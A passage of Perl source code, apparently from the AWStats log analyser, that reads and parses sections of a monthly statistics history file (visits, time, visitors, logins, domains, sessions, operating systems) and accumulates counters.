if ( $UpdateStats || $MigrateStats || $HTMLOutput{"plugin_$_"} ) {
$SectionsToLoad{"plugin_$_"} = $order++;
}
}
}
else { # Load only required sections
my $order = 1;
foreach ( split( /\s+/, $part ) ) { $SectionsToLoad{$_} = $order++; }
}
# Define SectionsToSave (which sections to save)
my %SectionsToSave = ();
if ($withupdate) {
if ( $SectionsToBeSaved eq 'all' ) {
%SectionsToSave = %allsections;
}
else {
my $order = 1;
foreach ( split( /\s+/, $SectionsToBeSaved ) ) {
$SectionsToSave{$_} = $order++;
}
}
}
if ($Debug) {
debug(
" List of sections marked for load : "
. join(
' ',
(
sort { $SectionsToLoad{$a} <=> $SectionsToLoad{$b} }
keys %SectionsToLoad
)
),
2
);
debug(
" List of sections marked for save : "
. join(
' ',
(
sort { $SectionsToSave{$a} <=> $SectionsToSave{$b} }
keys %SectionsToSave
)
),
2
);
}
# Define value for filetowrite and filetoread (Month before Year kept for backward compatibility)
my $filetowrite = '';
my $filetoread = '';
if ( $HistoryAlreadyFlushed{"$year$month$day$hour"}
&& -s "$DirData/$PROG$filedate$FileSuffix.tmp.$$" )
{
# tmp history file was already flushed
$filetoread = "$DirData/$PROG$filedate$FileSuffix.tmp.$$";
$filetowrite = "$DirData/$PROG$filedate$FileSuffix.tmp.$$.bis";
}
else {
$filetoread = "$DirData/$PROG$filedate$FileSuffix.txt";
$filetowrite = "$DirData/$PROG$filedate$FileSuffix.tmp.$$";
}
if ($Debug) { debug( " History file to read is '$filetoread'", 2 ); }
# Is there an old data file to read or, if migrate, can we open the file for read
if ( -s $filetoread || $MigrateStats ) { $withread = 1; }
# Open files
if ($withread) {
open( HISTORY, $filetoread )
|| error( "Couldn't open file \"$filetoread\" for read: $!",
"", "", $MigrateStats );
binmode HISTORY
; # Avoid premature EOF due to history files corrupted with \cZ or bin chars
}
if ($withupdate) {
open( HISTORYTMP, ">$filetowrite" )
|| error("Couldn't open file \"$filetowrite\" for write: $!");
binmode HISTORYTMP;
if ($xml) {
print HISTORYTMP
'<xml xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="http://www.awstats.org/files/awstats.xsd">'
. "\n\n";
}
Save_History( "header", $year, $month, $date );
}
# Loop on read file
my $readxml = 0;
if ($withread) {
my $countlines = 0;
my $versionnum = 0;
my @field = ();
while (<HISTORY>) {
chomp $_;
s/\r//;
$countlines++;
# Test if it's xml
if ( !$readxml && $_ =~ /^<xml/ ) {
$readxml = 1;
if ($Debug) { debug( " Data file format is 'xml'", 1 ); }
next;
}
# Extract version from first line
if ( !$versionnum && $_ =~ /^AWSTATS DATA FILE (\d+).(\d+)/i ) {
$versionnum = ( $1 * 1000 ) + $2;
if ($Debug) { debug( " Data file version is $versionnum", 1 ); }
next;
}
# Analyze fields
@field = split( /\s+/, ( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
if ( !$field[0] ) { next; }
# Here version MUST be defined
if ( $versionnum < 5000 ) {
error(
"History file '$filetoread' is to old (version '$versionnum'). This version of AWStats is not compatible with very old history files. Remove this history file or use first a previous AWStats version to migrate it from command line with command: $PROG.$Extension -migrate=\"$filetoread\".",
"", "", 1
);
}
# BEGIN_GENERAL
# TODO Manage GENERAL in a loop like other sections.
if ( $field[0] eq 'BEGIN_GENERAL' ) {
if ($Debug) { debug(" Begin of GENERAL section"); }
next;
}
if ( $field[0] eq 'LastLine' || $field[0] eq "${xmlrb}LastLine" ) {
if ( !$LastLine || $LastLine < int( $field[1] ) ) {
$LastLine = int( $field[1] );
}
if ( $field[2] ) { $LastLineNumber = int( $field[2] ); }
if ( $field[3] ) { $LastLineOffset = int( $field[3] ); }
if ( $field[4] ) { $LastLineChecksum = int( $field[4] ); }
next;
}
if ( $field[0] eq 'FirstTime' || $field[0] eq "${xmlrb}FirstTime" )
{
if ( !$FirstTime{$date}
|| $FirstTime{$date} > int( $field[1] ) )
{
$FirstTime{$date} = int( $field[1] );
}
next;
}
if ( $field[0] eq 'LastTime' || $field[0] eq "${xmlrb}LastTime" ) {
if ( !$LastTime{$date} || $LastTime{$date} < int( $field[1] ) )
{
$LastTime{$date} = int( $field[1] );
}
next;
}
if ( $field[0] eq 'LastUpdate'
|| $field[0] eq "${xmlrb}LastUpdate" )
{
if ( !$LastUpdate ) { $LastUpdate = int( $field[1] ); }
next;
}
if ( $field[0] eq 'TotalVisits'
|| $field[0] eq "${xmlrb}TotalVisits" )
{
if ( !$withupdate ) {
$MonthVisits{ $year . $month } += int( $field[1] );
}
next;
}
if ( $field[0] eq 'TotalUnique'
|| $field[0] eq "${xmlrb}TotalUnique" )
{
if ( !$withupdate ) {
$MonthUnique{ $year . $month } += int( $field[1] );
}
next;
}
if ( $field[0] eq 'MonthHostsKnown'
|| $field[0] eq "${xmlrb}MonthHostsKnown" )
{
if ( !$withupdate ) {
$MonthHostsKnown{ $year . $month } += int( $field[1] );
}
next;
}
if ( $field[0] eq 'MonthHostsUnknown'
|| $field[0] eq "${xmlrb}MonthHostsUnknown" )
{
if ( !$withupdate ) {
$MonthHostsUnknown{ $year . $month } += int( $field[1] );
}
next;
}
if (
(
$field[0] eq 'END_GENERAL'
|| $field[0] eq "${xmleb}END_GENERAL"
)
)
{
if ($Debug) { debug(" End of GENERAL section"); }
if ( $MigrateStats && !$BadFormatWarning{ $year . $month } ) {
$BadFormatWarning{ $year . $month } = 1;
warning(
"Warning: You are migrating a file that is already a recent version (migrate not required for files version $versionnum).",
"", "", 1
);
}
delete $SectionsToLoad{'general'};
if ( $SectionsToSave{'general'} ) {
Save_History( 'general', $year, $month, $date, $lastlinenb,
$lastlineoffset, $lastlinechecksum );
delete $SectionsToSave{'general'};
}
if ( !scalar %SectionsToLoad ) {
debug(" Stop reading history file. Got all we need.");
last;
}
next;
}
# BEGIN_FILESIZE
if ( $field[0] eq 'BEGIN_FILESIZE' ) {
if ($Debug) { debug(" Begin of FILESIZE section"); }
$field[0] = '';
my $count = 0;
my $countloaded = 0;
do {
if ( $field[0] ) {
$count++;
if ( $SectionsToLoad{'filesize'} ) {
$countloaded++;
if ($field[1]) {
$_filesize{ $field[0] } += $field[1];
}
}
}
$_ = <HISTORY>;
chomp $_;
s/\r//;
@field =
split( /\s+/,
( $readxml ? CleanFromTags($_) : $_) );
$countlines++;
} until ( $field[0] eq 'END_FILESIZE'
|| $field[0] eq "${xmleb}END_FILESIZE"
|| ! $_ );
if ( $field[0] ne 'END_FILESIZE'
&& $field[0] ne "${xmleb}END_FILESIZE")
{
error(
"History file \"$filetoread\" is corrupted (End of section FILESIZE not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).","","",1
);
}
if ($Debug) {
debug(
" End of FILESIZE section ($count entries, $countloaded loaded)"
);
}
delete $SectionsToLoad{'filesize'};
if ( !scalar %SectionsToLoad ) {
debug(" Stop reading history file. Got all we need.");
last;
}
next;
}
# BEGIN_MISC
if ( $field[0] eq 'BEGIN_MISC' ) {
if ($Debug) { debug(" Begin of MISC section"); }
$field[0] = '';
my $count = 0;
my $countloaded = 0;
do {
if ( $field[0] ) {
$count++;
if ( $SectionsToLoad{'misc'} ) {
$countloaded++;
if ( $field[1] ) {
$_misc_p{ $field[0] } += int( $field[1] );
}
if ( $field[2] ) {
$_misc_h{ $field[0] } += int( $field[2] );
}
if ( $field[3] ) {
$_misc_k{ $field[0] } += int( $field[3] );
}
}
}
$_ = <HISTORY>;
chomp $_;
s/\r//;
@field =
split( /\s+/,
( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
$countlines++;
} until ( $field[0] eq 'END_MISC'
|| $field[0] eq "${xmleb}END_MISC"
|| !$_ );
if ( $field[0] ne 'END_MISC'
&& $field[0] ne "${xmleb}END_MISC" )
{
error(
"History file \"$filetoread\" is corrupted (End of section MISC not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
"", "", 1
);
}
if ($Debug) {
debug(
" End of MISC section ($count entries, $countloaded loaded)"
);
}
delete $SectionsToLoad{'misc'};
if ( $SectionsToSave{'misc'} ) {
Save_History( 'misc', $year, $month, $date );
delete $SectionsToSave{'misc'};
if ($withpurge) {
%_misc_p = ();
%_misc_h = ();
%_misc_k = ();
}
}
if ( !scalar %SectionsToLoad ) {
debug(" Stop reading history file. Got all we need.");
last;
}
next;
}
# BEGIN_CLUSTER
if ( $field[0] eq 'BEGIN_CLUSTER' ) {
if ($Debug) { debug(" Begin of CLUSTER section"); }
$field[0] = '';
my $count = 0;
my $countloaded = 0;
do {
if ( $field[0] ) {
$count++;
if ( $SectionsToLoad{'cluster'} ) {
$countloaded++;
if ( $field[1] ) {
$_cluster_p{ $field[0] } += int( $field[1] );
}
if ( $field[2] ) {
$_cluster_h{ $field[0] } += int( $field[2] );
}
if ( $field[3] ) {
$_cluster_k{ $field[0] } += int( $field[3] );
}
}
}
$_ = <HISTORY>;
chomp $_;
s/\r//;
@field =
split( /\s+/,
( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
$countlines++;
} until ( $field[0] eq 'END_CLUSTER'
|| $field[0] eq "${xmleb}END_CLUSTER"
|| !$_ );
if ( $field[0] ne 'END_CLUSTER'
&& $field[0] ne "${xmleb}END_CLUSTER" )
{
error(
"History file \"$filetoread\" is corrupted (End of section CLUSTER not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
"", "", 1
);
}
if ($Debug) {
debug(
" End of CLUSTER section ($count entries, $countloaded loaded)"
);
}
delete $SectionsToLoad{'cluster'};
if ( $SectionsToSave{'cluster'} ) {
Save_History( 'cluster', $year, $month, $date );
delete $SectionsToSave{'cluster'};
if ($withpurge) {
%_cluster_p = ();
%_cluster_h = ();
%_cluster_k = ();
}
}
if ( !scalar %SectionsToLoad ) {
debug(" Stop reading history file. Got all we need.");
last;
}
next;
}
# BEGIN_TIME
if ( $field[0] eq 'BEGIN_TIME' ) {
my $monthpages = 0;
my $monthhits = 0;
my $monthbytes = 0;
my $monthnotviewedpages = 0;
my $monthnotviewedhits = 0;
my $monthnotviewedbytes = 0;
if ($Debug) { debug(" Begin of TIME section"); }
$field[0] = '';
my $count = 0;
my $countloaded = 0;
do {
if ( $field[0] ne '' )
{ # Test on ne '' because field[0] is '0' for hour 0)
$count++;
if ( $SectionsToLoad{'time'} ) {
if ( $withupdate
|| $MonthRequired eq 'all'
|| $MonthRequired eq "$month" )
{ # Still required
$countloaded++;
if ( $field[1] ) {
$_time_p[ $field[0] ] += int( $field[1] );
}
if ( $field[2] ) {
$_time_h[ $field[0] ] += int( $field[2] );
}
if ( $field[3] ) {
$_time_k[ $field[0] ] += int( $field[3] );
}
if ( $field[4] ) {
$_time_nv_p[ $field[0] ] +=
int( $field[4] );
}
if ( $field[5] ) {
$_time_nv_h[ $field[0] ] +=
int( $field[5] );
}
if ( $field[6] ) {
$_time_nv_k[ $field[0] ] +=
int( $field[6] );
}
}
$monthpages += int( $field[1] );
$monthhits += int( $field[2] );
$monthbytes += int( $field[3] );
$monthnotviewedpages += int( $field[4] || 0 );
$monthnotviewedhits += int( $field[5] || 0 );
$monthnotviewedbytes += int( $field[6] || 0 );
}
}
$_ = <HISTORY>;
chomp $_;
s/\r//;
@field =
split( /\s+/,
( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
$countlines++;
} until ( $field[0] eq 'END_TIME'
|| $field[0] eq "${xmleb}END_TIME"
|| !$_ );
if ( $field[0] ne 'END_TIME'
&& $field[0] ne "${xmleb}END_TIME" )
{
error(
"History file \"$filetoread\" is corrupted (End of section TIME not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
"", "", 1
);
}
if ($Debug) {
debug(
" End of TIME section ($count entries, $countloaded loaded)"
);
}
$MonthPages{ $year . $month } += $monthpages;
$MonthHits{ $year . $month } += $monthhits;
$MonthBytes{ $year . $month } += $monthbytes;
$MonthNotViewedPages{ $year . $month } += $monthnotviewedpages;
$MonthNotViewedHits{ $year . $month } += $monthnotviewedhits;
$MonthNotViewedBytes{ $year . $month } += $monthnotviewedbytes;
delete $SectionsToLoad{'time'};
if ( $SectionsToSave{'time'} ) {
Save_History( 'time', $year, $month, $date );
delete $SectionsToSave{'time'};
if ($withpurge) {
@_time_p = ();
@_time_h = ();
@_time_k = ();
@_time_nv_p = ();
@_time_nv_h = ();
@_time_nv_k = ();
}
}
if ( !scalar %SectionsToLoad ) {
debug(" Stop reading history file. Got all we need.");
last;
}
next;
}
# BEGIN_ORIGIN
if ( $field[0] eq 'BEGIN_ORIGIN' ) {
if ($Debug) { debug(" Begin of ORIGIN section"); }
$field[0] = '';
my $count = 0;
my $countloaded = 0;
do {
if ( $field[0] ) {
$count++;
if ( $SectionsToLoad{'origin'} ) {
if ( $field[0] eq 'From0' ) {
$_from_p[0] += $field[1];
$_from_h[0] += $field[2];
}
elsif ( $field[0] eq 'From1' ) {
$_from_p[1] += $field[1];
$_from_h[1] += $field[2];
}
elsif ( $field[0] eq 'From2' ) {
$_from_p[2] += $field[1];
$_from_h[2] += $field[2];
}
elsif ( $field[0] eq 'From3' ) {
$_from_p[3] += $field[1];
$_from_h[3] += $field[2];
}
elsif ( $field[0] eq 'From4' ) {
$_from_p[4] += $field[1];
$_from_h[4] += $field[2];
}
elsif ( $field[0] eq 'From5' ) {
$_from_p[5] += $field[1];
$_from_h[5] += $field[2];
}
}
}
$_ = <HISTORY>;
chomp $_;
s/\r//;
@field =
split( /\s+/,
( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
$countlines++;
} until ( $field[0] eq 'END_ORIGIN'
|| $field[0] eq "${xmleb}END_ORIGIN"
|| !$_ );
if ( $field[0] ne 'END_ORIGIN'
&& $field[0] ne "${xmleb}END_ORIGIN" )
{
error(
"History file \"$filetoread\" is corrupted (End of section ORIGIN not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
"", "", 1
);
}
if ($Debug) {
debug(
" End of ORIGIN section ($count entries, $countloaded loaded)"
);
}
delete $SectionsToLoad{'origin'};
if ( $SectionsToSave{'origin'} ) {
Save_History( 'origin', $year, $month, $date );
delete $SectionsToSave{'origin'};
if ($withpurge) { @_from_p = (); @_from_h = (); }
}
if ( !scalar %SectionsToLoad ) {
debug(" Stop reading history file. Got all we need.");
last;
}
next;
}
# BEGIN_DAY
if ( $field[0] eq 'BEGIN_DAY' ) {
if ($Debug) { debug(" Begin of DAY section"); }
$field[0] = '';
my $count = 0;
my $countloaded = 0;
do {
if ( $field[0] ) {
$count++;
if ( $SectionsToLoad{'day'} ) {
$countloaded++;
if ( $field[1] ) {
$DayPages{ $field[0] } += int( $field[1] );
}
$DayHits{ $field[0] } +=
int( $field[2] )
; # DayHits always load (should be >0 and if not it's a day YYYYMM00 resulting of an old file migration)
if ( $field[3] ) {
$DayBytes{ $field[0] } += int( $field[3] );
}
if ( $field[4] ) {
$DayVisits{ $field[0] } += int( $field[4] );
}
}
}
$_ = <HISTORY>;
chomp $_;
s/\r//;
@field =
split( /\s+/,
( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
$countlines++;
} until ( $field[0] eq 'END_DAY'
|| $field[0] eq "${xmleb}END_DAY"
|| !$_ );
if ( $field[0] ne 'END_DAY' && $field[0] ne "${xmleb}END_DAY" )
{
error(
"History file \"$filetoread\" is corrupted (End of section DAY not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
"", "", 1
);
}
if ($Debug) {
debug(
" End of DAY section ($count entries, $countloaded loaded)"
);
}
delete $SectionsToLoad{'day'};
# WE DO NOT SAVE SECTION NOW BECAUSE VALUES CAN BE CHANGED AFTER READING VISITOR
#if ($SectionsToSave{'day'}) { # Must be made after read of visitor
# Save_History('day',$year,$month,$date); delete $SectionsToSave{'day'};
# if ($withpurge) { %DayPages=(); %DayHits=(); %DayBytes=(); %DayVisits=(); }
#}
if ( !scalar %SectionsToLoad ) {
debug(" Stop reading history file. Got all we need.");
last;
}
next;
}
# BEGIN_VISITOR
if ( $field[0] eq 'BEGIN_VISITOR' ) {
if ($Debug) { debug(" Begin of VISITOR section"); }
$field[0] = '';
my $count = 0;
my $countloaded = 0;
do {
if ( $field[0] ) {
$count++;
# For backward compatibility
if ($readvisitorforbackward) {
if ( $field[1] ) {
$MonthUnique{ $year . $month }++;
}
if ( $MonthRequired ne 'all' ) {
if ( $field[0] !~ /^\d+\.\d+\.\d+\.\d+$/
&& $field[0] !~ /^[0-9A-F]*:/i )
{
$MonthHostsKnown{ $year . $month }++;
}
else { $MonthHostsUnknown{ $year . $month }++; }
}
}
# Process data saved in 'wait' arrays
if ( $withupdate && $_waithost_e{ $field[0] } ) {
my $timehostl = int( $field[4] || 0 );
my $timehosts = int( $field[5] || 0 );
my $newtimehosts = (
$_waithost_s{ $field[0] }
? $_waithost_s{ $field[0] }
: $_host_s{ $field[0] }
);
my $newtimehostl = (
$_waithost_l{ $field[0] }
? $_waithost_l{ $field[0] }
: $_host_l{ $field[0] }
);
if ( $newtimehosts > $timehostl + $VISITTIMEOUT ) {
if ($Debug) {
debug(
" Visit for $field[0] in 'wait' arrays is a new visit different than last in history",
4
);
}
if ( $field[6] ) { $_url_x{ $field[6] }++; }
$_url_e{ $_waithost_e{ $field[0] } }++;
$newtimehosts =~ /^(\d\d\d\d\d\d\d\d)/;
$DayVisits{$1}++;
if ( $timehosts && $timehostl ) {
$_session{
GetSessionRange( $timehosts,
$timehostl )
}++;
}
if ( $_waithost_s{ $field[0] } ) {
# First session found in log was followed by another one so it's finished
$_session{
GetSessionRange( $newtimehosts,
$newtimehostl )
}++;
}
# Here $_host_l $_host_s and $_host_u are correctly defined
}
else {
if ($Debug) {
debug(
" Visit for $field[0] in 'wait' arrays is following of last visit in history",
4
);
}
if ( $_waithost_s{ $field[0] } ) {
# First session found in log was followed by another one so it's finished
$_session{
GetSessionRange(
MinimumButNoZero(
$timehosts, $newtimehosts
),
$timehostl > $newtimehostl
? $timehostl
: $newtimehostl
)
}++;
# Here $_host_l $_host_s and $_host_u are correctly defined
}
else {
# We correct $_host_l $_host_s and $_host_u
if ( $timehostl > $newtimehostl ) {
$_host_l{ $field[0] } = $timehostl;
$_host_u{ $field[0] } = $field[6];
}
if ( $timehosts < $newtimehosts ) {
$_host_s{ $field[0] } = $timehosts;
}
}
}
delete $_waithost_e{ $field[0] };
delete $_waithost_l{ $field[0] };
delete $_waithost_s{ $field[0] };
delete $_waithost_u{ $field[0] };
}
# Load records
if ( $readvisitorforbackward != 2
&& $SectionsToLoad{'visitor'} )
{ # if readvisitorforbackward==2 we do not load
my $loadrecord = 0;
if ($withupdate) {
$loadrecord = 1;
}
else {
if ( $HTMLOutput{'allhosts'}
|| $HTMLOutput{'lasthosts'} )
{
if (
(
!$FilterIn{'host'}
|| $field[0] =~ /$FilterIn{'host'}/i
)
&& ( !$FilterEx{'host'}
|| $field[0] !~
/$FilterEx{'host'}/i )
)
{
$loadrecord = 1;
}
}
elsif ($MonthRequired eq 'all'
|| $field[2] >= $MinHit{'Host'} )
{
if (
$HTMLOutput{'unknownip'}
&& ( $field[0] =~ /^\d+\.\d+\.\d+\.\d+$/
|| $field[0] =~ /^[0-9A-F]*:/i )
)
{
$loadrecord = 1;
}
elsif (
$HTMLOutput{'main'}
&& ( $MonthRequired eq 'all'
|| $countloaded <
$MaxNbOf{'HostsShown'} )
)
{
$loadrecord = 1;
}
}
}
if ($loadrecord) {
if ( $field[1] ) {
$_host_p{ $field[0] } += $field[1];
}
if ( $field[2] ) {
$_host_h{ $field[0] } += $field[2];
}
if ( $field[3] ) {
$_host_k{ $field[0] } += $field[3];
}
if ( $field[4] && !$_host_l{ $field[0] } )
{ # We save last connexion params if not previously defined
$_host_l{ $field[0] } = int( $field[4] );
if ($withupdate)
{ # field[5] field[6] are used only for update
if ( $field[5]
&& !$_host_s{ $field[0] } )
{
$_host_s{ $field[0] } =
int( $field[5] );
}
if ( $field[6]
&& !$_host_u{ $field[0] } )
{
$_host_u{ $field[0] } = $field[6];
}
}
}
$countloaded++;
}
}
}
$_ = <HISTORY>;
chomp $_;
s/\r//;
@field =
split( /\s+/,
( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
$countlines++;
} until ( $field[0] eq 'END_VISITOR'
|| $field[0] eq "${xmleb}END_VISITOR"
|| !$_ );
if ( $field[0] ne 'END_VISITOR'
&& $field[0] ne "${xmleb}END_VISITOR" )
{
error(
"History file \"$filetoread\" is corrupted (End of section VISITOR not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
"", "", 1
);
}
if ($Debug) {
debug(
" End of VISITOR section ($count entries, $countloaded loaded)"
);
}
delete $SectionsToLoad{'visitor'};
# WE DO NOT SAVE SECTION NOW TO BE SURE TO HAVE THIS LARGE SECTION NOT AT THE BEGINNING OF FILE
#if ($SectionsToSave{'visitor'}) {
# Save_History('visitor',$year,$month,$date); delete $SectionsToSave{'visitor'};
# if ($withpurge) { %_host_p=(); %_host_h=(); %_host_k=(); %_host_l=(); %_host_s=(); %_host_u=(); }
#}
if ( !scalar %SectionsToLoad ) {
debug(" Stop reading history file. Got all we need.");
last;
}
next;
}
# BEGIN_UNKNOWNIP for backward compatibility
if ( $field[0] eq 'BEGIN_UNKNOWNIP' ) {
my %iptomigrate = ();
if ($Debug) { debug(" Begin of UNKNOWNIP section"); }
$field[0] = '';
my $count = 0;
my $countloaded = 0;
do {
if ( $field[0] ) {
$count++;
if ( $SectionsToLoad{'unknownip'} ) {
$iptomigrate{ $field[0] } = $field[1] || 0;
$countloaded++;
}
}
$_ = <HISTORY>;
chomp $_;
s/\r//;
@field =
split( /\s+/,
( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
$countlines++;
} until ( $field[0] eq 'END_UNKNOWNIP'
|| $field[0] eq "${xmleb}END_UNKNOWNIP"
|| !$_ );
if ( $field[0] ne 'END_UNKNOWNIP'
&& $field[0] ne "${xmleb}END_UNKNOWNIP" )
{
error(
"History file \"$filetoread\" is corrupted (End of section UNKOWNIP not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
"", "", 1
);
}
if ($Debug) {
debug(
" End of UNKOWNIP section ($count entries, $countloaded loaded)"
);
}
delete $SectionsToLoad{'visitor'};
# THIS SECTION IS NEVER SAVED. ONLY READ FOR MIGRATE AND CONVERTED INTO VISITOR SECTION
foreach ( keys %iptomigrate ) {
$_host_p{$_} += int( $_host_p{'Unknown'} / $countloaded );
$_host_h{$_} += int( $_host_h{'Unknown'} / $countloaded );
$_host_k{$_} += int( $_host_k{'Unknown'} / $countloaded );
if ( $iptomigrate{$_} > 0 ) {
$_host_l{$_} = $iptomigrate{$_};
}
}
delete $_host_p{'Unknown'};
delete $_host_h{'Unknown'};
delete $_host_k{'Unknown'};
delete $_host_l{'Unknown'};
if ( !scalar %SectionsToLoad ) {
debug(" Stop reading history file. Got all we need.");
last;
}
next;
}
# BEGIN_LOGIN
if ( $field[0] eq 'BEGIN_LOGIN' ) {
if ($Debug) { debug(" Begin of LOGIN section"); }
$field[0] = '';
my $count = 0;
my $countloaded = 0;
do {
if ( $field[0] ) {
$count++;
if ( $SectionsToLoad{'login'} ) {
$countloaded++;
if ( $field[1] ) {
$_login_p{ $field[0] } += $field[1];
}
if ( $field[2] ) {
$_login_h{ $field[0] } += $field[2];
}
if ( $field[3] ) {
$_login_k{ $field[0] } += $field[3];
}
if ( !$_login_l{ $field[0] } && $field[4] ) {
$_login_l{ $field[0] } = int( $field[4] );
}
}
}
$_ = <HISTORY>;
chomp $_;
s/\r//;
@field =
split( /\s+/,
( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
$countlines++;
} until ( $field[0] eq 'END_LOGIN'
|| $field[0] eq "${xmleb}END_LOGIN"
|| !$_ );
if ( $field[0] ne 'END_LOGIN'
&& $field[0] ne "${xmleb}END_LOGIN" )
{
error(
"History file \"$filetoread\" is corrupted (End of section LOGIN not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
"", "", 1
);
}
if ($Debug) {
debug(
" End of LOGIN section ($count entries, $countloaded loaded)"
);
}
delete $SectionsToLoad{'login'};
if ( $SectionsToSave{'login'} ) {
Save_History( 'login', $year, $month, $date );
delete $SectionsToSave{'login'};
if ($withpurge) {
%_login_p = ();
%_login_h = ();
%_login_k = ();
%_login_l = ();
}
}
if ( !scalar %SectionsToLoad ) {
debug(" Stop reading history file. Got all we need.");
last;
}
next;
}
# BEGIN_DOMAIN
if ( $field[0] eq 'BEGIN_DOMAIN' ) {
if ($Debug) { debug(" Begin of DOMAIN section"); }
$field[0] = '';
my $count = 0;
my $countloaded = 0;
do {
if ( $field[0] ) {
$count++;
if ( $SectionsToLoad{'domain'} ) {
$countloaded++;
if ( $field[1] ) {
$_domener_p{ $field[0] } += $field[1];
}
if ( $field[2] ) {
$_domener_h{ $field[0] } += $field[2];
}
if ( $field[3] ) {
$_domener_k{ $field[0] } += $field[3];
}
}
}
$_ = <HISTORY>;
chomp $_;
s/\r//;
@field =
split( /\s+/,
( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
$countlines++;
} until ( $field[0] eq 'END_DOMAIN'
|| $field[0] eq "${xmleb}END_DOMAIN"
|| !$_ );
if ( $field[0] ne 'END_DOMAIN'
&& $field[0] ne "${xmleb}END_DOMAIN" )
{
error(
"History file \"$filetoread\" is corrupted (End of section DOMAIN not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
"", "", 1
);
}
if ($Debug) {
debug(
" End of DOMAIN section ($count entries, $countloaded loaded)"
);
}
delete $SectionsToLoad{'domain'};
if ( $SectionsToSave{'domain'} ) {
Save_History( 'domain', $year, $month, $date );
delete $SectionsToSave{'domain'};
if ($withpurge) {
%_domener_p = ();
%_domener_h = ();
%_domener_k = ();
}
}
if ( !scalar %SectionsToLoad ) {
debug(" Stop reading history file. Got all we need.");
last;
}
next;
}
# BEGIN_SESSION
if ( $field[0] eq 'BEGIN_SESSION' ) {
if ($Debug) { debug(" Begin of SESSION section"); }
$field[0] = '';
my $count = 0;
my $countloaded = 0;
do {
if ( $field[0] ) {
$count++;
if ( $SectionsToLoad{'session'} ) {
$countloaded++;
if ( $field[1] ) {
$_session{ $field[0] } += $field[1];
}
}
}
$_ = <HISTORY>;
chomp $_;
s/\r//;
@field =
split( /\s+/,
( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
$countlines++;
} until ( $field[0] eq 'END_SESSION'
|| $field[0] eq "${xmleb}END_SESSION"
|| !$_ );
if ( $field[0] ne 'END_SESSION'
&& $field[0] ne "${xmleb}END_SESSION" )
{
error(
"History file \"$filetoread\" is corrupted (End of section SESSION not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
"", "", 1
);
}
if ($Debug) {
debug(
" End of SESSION section ($count entries, $countloaded loaded)"
);
}
delete $SectionsToLoad{'session'};
# WE DO NOT SAVE SECTION NOW BECAUSE VALUES CAN BE CHANGED AFTER READING VISITOR
#if ($SectionsToSave{'session'}) {
# Save_History('session',$year,$month,$date); delete $SectionsToSave{'session'}; }
# if ($withpurge) { %_session=(); }
#}
if ( !scalar %SectionsToLoad ) {
debug(" Stop reading history file. Got all we need.");
last;
}
next;
}
# BEGIN_OS
if ( $field[0] eq 'BEGIN_OS' ) {
if ($Debug) { debug(" Begin of OS section"); }
$field[0] = '';
my $count = 0;
my $countloaded = 0;
do {
if ( $field[0] ) {
$count++;
if ( $SectionsToLoad{'os'} ) {
$countloaded++;
if ( $field[1] ) {
$_os_h{ $field[0] } += $field[1];
$_os_p{ $field[0] } += $field[2];
}
}
}
$_ = <HISTORY>;
chomp $_;
s/\r//;
@field =
split( /\s+/,
( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
$countlines++;
} until ( $field[0] eq 'END_OS'
|| $field[0] eq "${xmleb}END_OS"
|| !$_ );
if ( $field[0] ne 'END_OS' && $field[0] ne "${xmleb}END_OS" ) {
error(
"History file \"$filetoread\" is corrupted (End of section OS not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
"", "", 1
);
}
if ($Debug) {
debug(
" End of OS section ($count entries, $countloaded loaded)"
);
}
delete $SectionsToLoad{'os'};
if ( $SectionsToSave{'os'} ) {
Save_History( 'os', $year, $month, $date );
delete $SectionsToSave{'os'};
if ($withpurge) { %_os_h = (); %_os_p = (); }
}
if ( !scalar %SectionsToLoad ) {
debug(" Stop reading history file. Got all we need.");
last;
}
next;
}
# BEGIN_BROWSER
if ( $field[0] eq 'BEGIN_BROWSER' ) {
if ($Debug) { debug(" Begin of BROWSER section"); }
$field[0] = '';
my $count = 0;
my $countloaded = 0;
do {
if ( $field[0] ) {
$count++;
if ( $SectionsToLoad{'browser'} ) {
$countloaded++;
if ( $field[1] ) {
$_browser_h{ $field[0] } += $field[1];
$_browser_p{ $field[0] } += $field[2];
}
}
}
$_ = <HISTORY>;
chomp $_;
s/\r//;
@field =
split( /\s+/,
( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
$countlines++;
} until ( $field[0] eq 'END_BROWSER'
